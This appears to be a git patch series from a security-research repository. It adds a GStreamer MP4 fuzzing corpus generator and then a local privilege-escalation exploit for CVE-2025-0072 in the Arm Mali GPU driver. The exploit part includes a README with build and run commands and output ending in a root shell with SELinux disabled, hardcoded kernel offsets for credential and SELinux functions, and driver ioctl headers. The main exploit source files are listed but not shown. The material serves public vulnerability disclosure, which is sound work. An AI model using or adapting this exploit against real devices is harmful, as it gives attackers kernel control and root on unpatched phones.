b/Fuzzing/GStreamer/labeler/labeler.h @@ -0,0 +1,11 @@ +#pragma once + +#include + +class Labeler{ + + protected: + + std::string priv_name; + +}; \ No newline at end of file diff --git a/Fuzzing/GStreamer/main.cc b/Fuzzing/GStreamer/main.cc new file mode 100644 index 0000000..ed48046 --- /dev/null +++ b/Fuzzing/GStreamer/main.cc @@ -0,0 +1,114 @@ +#include +#include +#include +#include + +#include +#include + +#include + +#include "tree.h" +#include "aux.h" + + +void print_help(char *argv[]) { + + std::cout << "Usage: " << argv[0] << " -o output_dir" << std::endl; + + std::cout << "\n"; + std::cout << "Options:" << std::endl; + std::cout << "\t -n num_nodes: number of nodes in the tree. Default: 8" << std::endl; + std::cout << "\t -c corpus_size: number of testcases to generate. Default: 10" << std::endl; + + std::cout << std::endl; + std::cout << "\t -o output_dir: output directory" << std::endl; + +} + +int main(int argc, char *argv[]) { + + if(argc < 2){ + print_help(argv); + exit(EXIT_FAILURE); + } + + std::string output_dir = ""; + + uint32_t num_children = 0; + uint32_t max_depth = 0; + + uint32_t num_nodes = 8; + + uint32_t corpus_size = 10; + + int ch; + while ((ch = getopt(argc, argv, "n:c:o:")) != -1) { + + switch (ch) { + + case 'n': { + num_nodes = std::stoi(optarg); + break; + } + + case 'c': { + corpus_size = std::stoi(optarg); + break; + } + + case 'o': { + output_dir = optarg; + break; + } + + default: + print_help(argv); + exit(EXIT_FAILURE); + } + } + + if(output_dir == ""){ + std::cerr << "Output directory not specified" << std::endl; + exit(EXIT_FAILURE); + } + + std::filesystem::path dir = output_dir; + if(!std::filesystem::exists(dir)){ + std::cerr << "Output directory does not exist" << std::endl; + exit(EXIT_FAILURE); + } + + if(num_nodes < 1 || num_nodes > 20){ + std::cerr << "Number of nodes must be between 1 and 20" << std::endl; + exit(EXIT_FAILURE); + } + + std::cout << "Generating " << corpus_size << " testcases with " << num_nodes << " nodes" << std::endl; + + for(int i=0; i < corpus_size; i++){ + + RandomTree tree(num_nodes); + + MP4_labeler labeler(&tree); + + #ifdef DEBUG + std::string dot = tree.dot_format(); + std::cout << dot << std::endl; + #endif + + + std::string file_content = labeler.serialize(); + + std::string output_file = output_dir + "/out_" + std::to_string(i); + + if(!write_to_file(file_content, output_file)){ + std::cerr << "Error writing to file" << std::endl; + exit(EXIT_FAILURE); + } + + } + + +} + diff --git a/Fuzzing/GStreamer/makefile b/Fuzzing/GStreamer/makefile new file mode 100644 index 0000000..4fd2131 --- /dev/null +++ b/Fuzzing/GStreamer/makefile @@ -0,0 +1,9 @@ +CPPFLAGS = -g -O2 + +SRC = tree.cc labeler/MP4.cc +INC = ./ ./labeler + +all: generator + +generator: $(SRC) main.cc + g++ main.cc -I./ -I./labeler $(SRC) $(CPPFLAGS) -o generator diff --git a/Fuzzing/GStreamer/tree.cc b/Fuzzing/GStreamer/tree.cc new file mode 100644 index 0000000..bef9fb0 --- /dev/null +++ b/Fuzzing/GStreamer/tree.cc @@ -0,0 +1,137 @@ +#include +#include +#include +#include + +#include + +#include "tree.h" +#include "aux.h" + + +Node::Node(uint32_t in_id, int32_t in_parent_id, uint32_t in_depth) { + + this->id = in_id; + + this->parent_id = in_parent_id; + + this->depth = in_depth; +} + +const std::vector& Node::children() const{ + + return this->prv_children; +} + +std::string Node::get_label() const{ + + return this->label; +} + +uint32_t Node::get_id() const{ + + return this->id; +} + +void Node::set_label(const std::string &in_label){ + + this->label = in_label; +} + + + + +uint32_t RandomTree::new_node(int32_t parent_id, uint32_t depth){ + + uint32_t new_node_id = this->num_nodes; + + this->nodes.emplace_back(new_node_id, parent_id, depth); + + if(parent_id != -1){ + this->nodes[parent_id].prv_children.emplace_back(new_node_id); + } + + if(this->levels.size() <= depth){ + this->levels.resize(depth+1); + this->tree_depth = depth; + } + + this->levels[depth].emplace_back(new_node_id); + + this->num_nodes++; + + return new_node_id; + +} + + + +RandomTree::RandomTree(uint32_t total_nodes){ + + uint32_t curr_level = 0; + + //Root node + new_node(-1, curr_level); + + curr_level++; + + uint32_t rem_nodes = total_nodes - 1; + + uint32_t current_node = 0; + + while(rem_nodes > 0){ + + uint32_t num_children = rand_uint32(1, rem_nodes); + + uint32_t min_value = this->levels[curr_level-1].front(); + uint32_t max_value = this->levels[curr_level-1].back(); + + for(int i=0; inodes) { + + output << " " << node.id << " [label=\"" << node.label << "\"];\n"; + + if (node.parent_id != -1) { + + output << " " << node.parent_id << " -> " << node.id << ";\n"; + } + + } + + output << "}\n"; + + return output.str(); +} + diff --git a/Fuzzing/GStreamer/tree.h b/Fuzzing/GStreamer/tree.h new file mode 100644 index 0000000..b036f8d --- /dev/null +++ b/Fuzzing/GStreamer/tree.h @@ -0,0 +1,64 @@ +#pragma once + +#include +#include + +#include + +class Node{ + + friend class RandomTree; + + private: + + int32_t id = -1; + int32_t parent_id = -1; + std::vector prv_children = {}; + int32_t depth = -1; + + std::string label; + + + public: + + Node(uint32_t in_id, int32_t in_parent_id, uint32_t in_depth); + + const std::vector& children() const; + + std::string get_label() const; + + uint32_t get_id() const; + + void set_label(const std::string &in_label); + +}; + + +class RandomTree{ + + friend class Labeler; + + private: + + std::vector nodes; + + std::vector> levels; + + uint32_t num_nodes = 0; + + uint32_t tree_depth = 0; + + uint32_t new_node(int32_t parent_id, uint32_t depth); + + public: + + RandomTree(uint32_t total_nodes); + + + Node & get_node(uint32_t node_id); + + size_t size() const; + + std::string dot_format() const; + +}; \ No newline at end of file From 5582cbf71d24606e5075af7bd917abca3336299b Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 23 May 2025 10:32:04 +0100 Subject: [PATCH 120/140] Initial commit --- .../Android/Mali/CVE-2025-0072/README.md | 29 + .../Mali/CVE-2025-0072/firmware_offsets.h | 16 + .../Android/Mali/CVE-2025-0072/log_utils.h | 11 + .../CVE-2025-0072/mali_base_common_kernel.h | 228 +++++ .../Mali/CVE-2025-0072/mali_base_csf_kernel.h | 608 ++++++++++++ .../Mali/CVE-2025-0072/mali_base_kernel.h | 287 ++++++ .../Mali/CVE-2025-0072/mali_kbase_csf_ioctl.h | 556 +++++++++++ .../Mali/CVE-2025-0072/mali_kbase_ioctl.h | 894 ++++++++++++++++++ .../Android/Mali/CVE-2025-0072/mali_userio.c | 223 +++++ .../Mali/CVE-2025-0072/mem_read_write.c | 264 ++++++ .../Mali/CVE-2025-0072/mem_read_write.h | 41 + .../Mali/CVE-2025-0072/mempool_utils.c | 60 ++ .../Mali/CVE-2025-0072/mempool_utils.h | 20 + 13 files changed, 3237 insertions(+) create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/README.md create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/firmware_offsets.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/log_utils.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_common_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_csf_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_csf_ioctl.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_ioctl.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mali_userio.c create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.h create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.c create mode 100644 SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.h diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/README.md b/SecurityExploits/Android/Mali/CVE-2025-0072/README.md new file mode 100644 index 0000000..8d09481 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/README.md @@ -0,0 +1,29 @@ +## Exploit for CVE-2025-0072 + +The write up can be found [here](https://github.blog/2025-05-23-bypassing-mte-with-cve-2025-0072). This is a bug in the Arm Mali kernel driver that I reported in December 2024. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. + +The exploit is tested on the Google Pixel 8 with the Novmember 2024 patch (`AP3A.241105.007`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: + +``` +android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_userio.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_userio +``` + +The exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it fails, it can be rerun. If successful, it should disable SELinux and gain root. + +``` +shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_userio +gpu_addr 5ffff94000 +group_handle 1 cookie 30000 +group_handle 1 cookie 30000 +found entry 4000093deaf443 at 384 in page 0 +overwrite addr : 5ffff00c60 c60 +overwrite addr : 5fffb00c60 c60 +overwrite addr : 5ffff00f40 f40 +overwrite addr : 5fffb00f40 f40 +run enforce +result 50 +clean up +shiba:/ # +``` + +To test it with MTE enabled, follow [these instructions](https://outflux.net/blog/archives/2023/10/26/enable-mte-on-pixel-8/) to enable kernel MTE. diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/firmware_offsets.h b/SecurityExploits/Android/Mali/CVE-2025-0072/firmware_offsets.h new file mode 100644 index 0000000..b15f888 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/firmware_offsets.h @@ -0,0 +1,16 @@ +#ifndef FIRMWARE_OFFSETS_H +#define FIRMWARE_OFFSETS_H + +#define AVC_DENY_2411 0x839c60 + +#define SEL_READ_ENFORCE_2411 0x84bf40 + +#define INIT_CRED_2411 0x280c948 + +#define COMMIT_CREDS_2411 0x174f38 + +#define ADD_COMMIT_2411 0x913ce108 //add x8, x8, #0xf38 + +#define ADD_INIT_2411 0x91252000 //add x0, x0, #0x948 + +#endif diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/log_utils.h b/SecurityExploits/Android/Mali/CVE-2025-0072/log_utils.h new file mode 100644 index 0000000..0a4172c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/log_utils.h @@ -0,0 +1,11 @@ +#ifndef LOG_UTILS_H +#define LOG_UTILS_H + +#ifdef SHELL +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#include +#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__) +#endif + +#endif diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_common_kernel.h b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_common_kernel.h new file mode 100644 index 0000000..23bed51 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_common_kernel.h @@ -0,0 +1,228 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_COMMON_KERNEL_H_ +#define _UAPI_BASE_COMMON_KERNEL_H_ + +#include +#include "mali_base_kernel.h" + +#define LOCAL_PAGE_SHIFT 12 + +#define BASE_GPU_NUM_TEXTURE_FEATURES_REGISTERS 4 + +/* Memory allocation, access/hint flags & mask. + * + * See base_mem_alloc_flags. + */ + +/* IN */ +/* Read access CPU side + */ +#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0) + +/* Write access CPU side + */ +#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1) + +/* Read access GPU side + */ +#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2) + +/* Write access GPU side + */ +#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3) + +/* Execute allowed on the GPU side + */ +#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4) + +/* Will be permanently mapped in kernel space. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5) + +/* The allocation will completely reside within the same 4GB chunk in the GPU + * virtual space. + * Since this flag is primarily required only for the TLS memory which will + * not be used to contain executable code and also not used for Tiler heap, + * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags. + */ +#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6) + +/* Userspace is not allowed to free this memory. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7) + +/* Grow backing store on GPU Page Fault + */ +#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9) + +/* Page coherence Outer shareable, if available + */ +#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10) + +/* Page coherence Inner shareable + */ +#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11) + +/* IN/OUT */ +/* Should be cached on the CPU, returned if actually cached + */ +#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12) + +/* IN/OUT */ +/* Must have same VA on both the GPU and the CPU + */ +#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13) + +/* OUT */ +/* Must call mmap to acquire a GPU address for the allocation + */ +#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14) + +/* IN */ +/* Page coherence Outer shareable, required. + */ +#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15) + +/* Protected memory + */ +#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16) + +/* Not needed physical memory + */ +#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17) + +/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the + * addresses to be the same + */ +#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18) + +/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu + * mode. Some components within the GPU might only be able to access memory + * that is GPU cacheable. Refer to the specific GPU implementation for more + * details. The 3 shareability flags will be ignored for GPU uncached memory. + * If used while importing USER_BUFFER type memory, then the import will fail + * if the memory is not aligned to GPU and CPU cache line width. + */ +#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21) + +/* + * Bits [22:25] for group_id (0~15). + * + * base_mem_group_id_set() should be used to pack a memory group ID into a + * base_mem_alloc_flags value instead of accessing the bits directly. + * base_mem_group_id_get() should be used to extract the memory group ID from + * a base_mem_alloc_flags value. + */ +#define BASEP_MEM_GROUP_ID_SHIFT 22 +#define BASE_MEM_GROUP_ID_MASK ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT) + +/* Must do CPU cache maintenance when imported memory is mapped/unmapped + * on GPU. Currently applicable to dma-buf type only. + */ +#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26) + +/* OUT */ +/* Kernel side cache sync ops required */ +#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28) + +/* Number of bits used as flags for base memory management + * + * Must be kept in sync with the base_mem_alloc_flags flags + */ +#define BASE_MEM_FLAGS_NR_BITS 30 + +/* A mask for all output bits, excluding IN/OUT bits. + */ +#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP + +/* A mask for all input bits, including IN/OUT bits. + */ +#define BASE_MEM_FLAGS_INPUT_MASK \ + (((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK) + +/* Special base mem handles. + */ +#define BASEP_MEM_INVALID_HANDLE (0ul) +#define BASE_MEM_MMU_DUMP_HANDLE (1ul << LOCAL_PAGE_SHIFT) +#define BASE_MEM_TRACE_BUFFER_HANDLE (2ul << LOCAL_PAGE_SHIFT) +#define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT) +#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ul << LOCAL_PAGE_SHIFT) +/* reserved handles ..-47< for future special handles */ +#define BASE_MEM_COOKIE_BASE (64ul << LOCAL_PAGE_SHIFT) +#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << LOCAL_PAGE_SHIFT) + BASE_MEM_COOKIE_BASE) + +/* Flags to pass to ::base_context_init. + * Flags can be ORed together to enable multiple things. + * + * These share the same space as BASEP_CONTEXT_FLAG_*, and so must + * not collide with them. + */ +typedef __u32 base_context_create_flags; + +/* Flags for base context */ + +/* No flags set */ +#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0) + +/* Base context is embedded in a cctx object (flag used for CINSTR + * software counter macros) + */ +#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0) + +/* Base context is a 'System Monitor' context for Hardware counters. + * + * One important side effect of this is that job submission is disabled. + */ +#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED ((base_context_create_flags)1 << 1) + +/* Bit-shift used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3) + +/* Bitmask used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \ + ((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT) + +/* Bitpattern describing the base_context_create_flags that can be + * passed to the kernel + */ +#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \ + (BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | BASEP_CONTEXT_MMU_GROUP_ID_MASK) + +/* Flags for base tracepoint + */ + +/* Enable additional tracepoints for latency measurements (TL_ATOM_READY, + * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST) + */ +#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0) + +/* Indicate that job dumping is enabled. This could affect certain timers + * to account for the performance impact. + */ +#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1) + +#endif /* _UAPI_BASE_COMMON_KERNEL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_csf_kernel.h b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_csf_kernel.h new file mode 100644 index 0000000..141b090 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_csf_kernel.h @@ -0,0 +1,608 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2023 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_CSF_KERNEL_H_ +#define _UAPI_BASE_CSF_KERNEL_H_ + +#include +#include "mali_base_common_kernel.h" + +/* Memory allocation, access/hint flags & mask specific to CSF GPU. + * + * See base_mem_alloc_flags. + */ + +/* Must be FIXED memory. */ +#define BASE_MEM_FIXED ((base_mem_alloc_flags)1 << 8) + +/* CSF event memory + * + * If Outer shareable coherence is not specified or not available, then on + * allocation kbase will automatically use the uncached GPU mapping. + * There is no need for the client to specify BASE_MEM_UNCACHED_GPU + * themselves when allocating memory with the BASE_MEM_CSF_EVENT flag. + * + * This memory requires a permanent mapping + * + * See also kbase_reg_needs_kernel_mapping() + */ +#define BASE_MEM_CSF_EVENT ((base_mem_alloc_flags)1 << 19) + +#define BASE_MEM_RESERVED_BIT_20 ((base_mem_alloc_flags)1 << 20) + + +/* Must be FIXABLE memory: its GPU VA will be determined at a later point, + * at which time it will be at a fixed GPU VA. + */ +#define BASE_MEM_FIXABLE ((base_mem_alloc_flags)1 << 29) + +/* Note that the number of bits used for base_mem_alloc_flags + * must be less than BASE_MEM_FLAGS_NR_BITS !!! + */ + +/* A mask of all the flags which are only valid for allocations within kbase, + * and may not be passed from user space. + */ +#define BASEP_MEM_FLAGS_KERNEL_ONLY \ + (BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE) + +/* A mask of all currently reserved flags + */ +#define BASE_MEM_FLAGS_RESERVED BASE_MEM_RESERVED_BIT_20 + +/* Special base mem handles specific to CSF. + */ +#define BASEP_MEM_CSF_USER_REG_PAGE_HANDLE (47ul << LOCAL_PAGE_SHIFT) +#define BASEP_MEM_CSF_USER_IO_PAGES_HANDLE (48ul << LOCAL_PAGE_SHIFT) + +#define KBASE_CSF_NUM_USER_IO_PAGES_HANDLE \ + ((BASE_MEM_COOKIE_BASE - BASEP_MEM_CSF_USER_IO_PAGES_HANDLE) >> \ + LOCAL_PAGE_SHIFT) + +/* Valid set of just-in-time memory allocation flags */ +#define BASE_JIT_ALLOC_VALID_FLAGS ((__u8)0) + +/* flags for base context specific to CSF */ + +/* Base context creates a CSF event notification thread. + * + * The creation of a CSF event notification thread is conditional but + * mandatory for the handling of CSF events. + */ +#define BASE_CONTEXT_CSF_EVENT_THREAD ((base_context_create_flags)1 << 2) + +/* Bitpattern describing the ::base_context_create_flags that can be + * passed to base_context_init() + */ +#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \ + (BASE_CONTEXT_CCTX_EMBEDDED | \ + BASE_CONTEXT_CSF_EVENT_THREAD | \ + BASEP_CONTEXT_CREATE_KERNEL_FLAGS) + +/* Flags for base tracepoint specific to CSF */ + +/* Enable KBase tracepoints for CSF builds */ +#define BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS (1 << 2) + +/* Enable additional CSF Firmware side tracepoints */ +#define BASE_TLSTREAM_ENABLE_CSFFW_TRACEPOINTS (1 << 3) + +#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \ + BASE_TLSTREAM_JOB_DUMPING_ENABLED | \ + BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS | \ + BASE_TLSTREAM_ENABLE_CSFFW_TRACEPOINTS) + +/* Number of pages mapped into the process address space for a bound GPU + * command queue. A pair of input/output pages and a Hw doorbell page + * are mapped to enable direct submission of commands to Hw. + */ +#define BASEP_QUEUE_NR_MMAP_USER_PAGES ((size_t)3) + +#define BASE_QUEUE_MAX_PRIORITY (15U) + +/* Sync32 object fields definition */ +#define BASEP_EVENT32_VAL_OFFSET (0U) +#define BASEP_EVENT32_ERR_OFFSET (4U) +#define BASEP_EVENT32_SIZE_BYTES (8U) + +/* Sync64 object fields definition */ +#define BASEP_EVENT64_VAL_OFFSET (0U) +#define BASEP_EVENT64_ERR_OFFSET (8U) +#define BASEP_EVENT64_SIZE_BYTES (16U) + +/* Sync32 object alignment, equal to its size */ +#define BASEP_EVENT32_ALIGN_BYTES (8U) + +/* Sync64 object alignment, equal to its size */ +#define BASEP_EVENT64_ALIGN_BYTES (16U) + +/* The upper limit for number of objects that could be waited/set per command. + * This limit is now enforced as internally the error inherit inputs are + * converted to 32-bit flags in a __u32 variable occupying a previously padding + * field. + */ +#define BASEP_KCPU_CQS_MAX_NUM_OBJS ((size_t)32) + +/* CSF CSI EXCEPTION_HANDLER_FLAGS */ +#define BASE_CSF_TILER_OOM_EXCEPTION_FLAG (1u << 0) +#define BASE_CSF_EXCEPTION_HANDLER_FLAGS_MASK (BASE_CSF_TILER_OOM_EXCEPTION_FLAG) + +/** + * enum base_kcpu_command_type - Kernel CPU queue command type. + * @BASE_KCPU_COMMAND_TYPE_FENCE_SIGNAL: fence_signal, + * @BASE_KCPU_COMMAND_TYPE_FENCE_WAIT: fence_wait, + * @BASE_KCPU_COMMAND_TYPE_CQS_WAIT: cqs_wait, + * @BASE_KCPU_COMMAND_TYPE_CQS_SET: cqs_set, + * @BASE_KCPU_COMMAND_TYPE_CQS_WAIT_OPERATION: cqs_wait_operation, + * @BASE_KCPU_COMMAND_TYPE_CQS_SET_OPERATION: cqs_set_operation, + * @BASE_KCPU_COMMAND_TYPE_MAP_IMPORT: map_import, + * @BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT: unmap_import, + * @BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT_FORCE: unmap_import_force, + * @BASE_KCPU_COMMAND_TYPE_JIT_ALLOC: jit_alloc, + * @BASE_KCPU_COMMAND_TYPE_JIT_FREE: jit_free, + * @BASE_KCPU_COMMAND_TYPE_GROUP_SUSPEND: group_suspend, + * @BASE_KCPU_COMMAND_TYPE_ERROR_BARRIER: error_barrier, + */ +enum base_kcpu_command_type { + BASE_KCPU_COMMAND_TYPE_FENCE_SIGNAL, + BASE_KCPU_COMMAND_TYPE_FENCE_WAIT, + BASE_KCPU_COMMAND_TYPE_CQS_WAIT, + BASE_KCPU_COMMAND_TYPE_CQS_SET, + BASE_KCPU_COMMAND_TYPE_CQS_WAIT_OPERATION, + BASE_KCPU_COMMAND_TYPE_CQS_SET_OPERATION, + BASE_KCPU_COMMAND_TYPE_MAP_IMPORT, + BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT, + BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT_FORCE, + BASE_KCPU_COMMAND_TYPE_JIT_ALLOC, + BASE_KCPU_COMMAND_TYPE_JIT_FREE, + BASE_KCPU_COMMAND_TYPE_GROUP_SUSPEND, + BASE_KCPU_COMMAND_TYPE_ERROR_BARRIER +}; + +/** + * enum base_queue_group_priority - Priority of a GPU Command Queue Group. + * @BASE_QUEUE_GROUP_PRIORITY_HIGH: GPU Command Queue Group is of high + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_MEDIUM: GPU Command Queue Group is of medium + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_LOW: GPU Command Queue Group is of low + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_REALTIME: GPU Command Queue Group is of real-time + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_COUNT: Number of GPU Command Queue Group + * priority levels. + * + * Currently this is in order of highest to lowest, but if new levels are added + * then those new levels may be out of order to preserve the ABI compatibility + * with previous releases. At that point, ensure assignment to + * the 'priority' member in &kbase_queue_group is updated to ensure it remains + * a linear ordering. + * + * There should be no gaps in the enum, otherwise use of + * BASE_QUEUE_GROUP_PRIORITY_COUNT in kbase must be updated. + */ +enum base_queue_group_priority { + BASE_QUEUE_GROUP_PRIORITY_HIGH = 0, + BASE_QUEUE_GROUP_PRIORITY_MEDIUM, + BASE_QUEUE_GROUP_PRIORITY_LOW, + BASE_QUEUE_GROUP_PRIORITY_REALTIME, + BASE_QUEUE_GROUP_PRIORITY_COUNT +}; + +struct base_kcpu_command_fence_info { + __u64 fence; +}; + +struct base_cqs_wait_info { + __u64 addr; + __u32 val; + __u32 padding; +}; + +struct base_kcpu_command_cqs_wait_info { + __u64 objs; + __u32 nr_objs; + __u32 inherit_err_flags; +}; + +struct base_cqs_set { + __u64 addr; +}; + +struct base_kcpu_command_cqs_set_info { + __u64 objs; + __u32 nr_objs; + __u32 padding; +}; + +/** + * typedef basep_cqs_data_type - Enumeration of CQS Data Types + * + * @BASEP_CQS_DATA_TYPE_U32: The Data Type of a CQS Object's value + * is an unsigned 32-bit integer + * @BASEP_CQS_DATA_TYPE_U64: The Data Type of a CQS Object's value + * is an unsigned 64-bit integer + */ +typedef enum PACKED { + BASEP_CQS_DATA_TYPE_U32 = 0, + BASEP_CQS_DATA_TYPE_U64 = 1, +} basep_cqs_data_type; + +/** + * typedef basep_cqs_wait_operation_op - Enumeration of CQS Object Wait + * Operation conditions + * + * @BASEP_CQS_WAIT_OPERATION_LE: CQS Wait Operation indicating that a + * wait will be satisfied when a CQS Object's + * value is Less than or Equal to + * the Wait Operation value + * @BASEP_CQS_WAIT_OPERATION_GT: CQS Wait Operation indicating that a + * wait will be satisfied when a CQS Object's + * value is Greater than the Wait Operation value + */ +typedef enum { + BASEP_CQS_WAIT_OPERATION_LE = 0, + BASEP_CQS_WAIT_OPERATION_GT = 1, +} basep_cqs_wait_operation_op; + +struct base_cqs_wait_operation_info { + __u64 addr; + __u64 val; + __u8 operation; + __u8 data_type; + __u8 padding[6]; +}; + +/** + * struct base_kcpu_command_cqs_wait_operation_info - structure which contains information + * about the Timeline CQS wait objects + * + * @objs: An array of Timeline CQS waits. + * @nr_objs: Number of Timeline CQS waits in the array. + * @inherit_err_flags: Bit-pattern for the CQSs 